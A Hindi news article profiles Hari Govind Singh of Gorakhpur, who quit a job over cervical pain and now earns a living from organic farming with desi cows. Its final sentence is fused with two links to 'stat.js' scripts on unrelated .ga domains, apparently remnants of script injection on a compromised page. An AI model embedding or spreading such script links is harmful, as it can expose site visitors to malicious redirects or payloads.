गोरखपुर के खजनी विकासखंड के ग्राम बघेला निवासी हरि गोविंद सिंह अपने प्राकृतिक खेती के लिए आजकल जाने जा रहे हैं। करीब 3 एकड़ खेत में धान ,गेहू और सब्जी की खेती जैविक विधि से करते हैं। जैबिक खादों के लिए दस देसी गाय पाल रहे हैं। जैविक खाद देसी गायों के गोबर से तैयार करते हैं। वही लगभग 5 वर्षों से रासायनिक ऊरबको खादों का प्रयोग नहीं करते हैं।

 

 

 

गायों के गोबर और मूत्र से बने खादों के अलावा उन्हे कभी भी रसायनिक खादों की जरूरत नहीं पड़ती है और ना ही कभी कीटनाशक दवाइयों का उपयोग किया है। हरि गोविंद सिंह इसके पहले वर्ष 2007 में आईएसओ सर्टिफिकेशन में एरिया मैनेजर की नौकरी करते थे। नौकरी के दौरान उनके पास उत्तर प्रदेश और उत्तराखंड का चार्ज था और वेतन के तौर पर 30 हजार रुपये प्रति माह मिलता था लेकिन उन्हें सर्वाइकल पेन कि वजह से नौकरी छोड़नी पड़ी ।

 

 

 

डॉक्टर और चिकित्सकों ने खानपान को लेकर सलाह दिया कि वह प्रकृतिक उत्पादों से तैयार अनाज खाये तो उनको लाभ मिलेगा। उसके बाद पहले सिर्फ अपने लिए खेती करने लगे, बाद में रिश्तेदार और लोगो की डिमांड बढ़ने लगी तो उन्होंने व्यापक स्तर पर यह कार्य शुरू कर दिया।

 

 

 

जैविक खेती से उन्हें प्रति माह घर बैठे 70 से ₹80 हजार रुपये की आय होती है प्रकृतिक और जैविक खाद्य से तैयार अनाज और सब्जियो की मार्केट में मांग बहुत ज्यादा है इसलिए उत्पादों की बाजार में अच्छी कीमत मिलती है। अब वो पूरी तरह से जैविक खेती पर निर्भर हैhttps://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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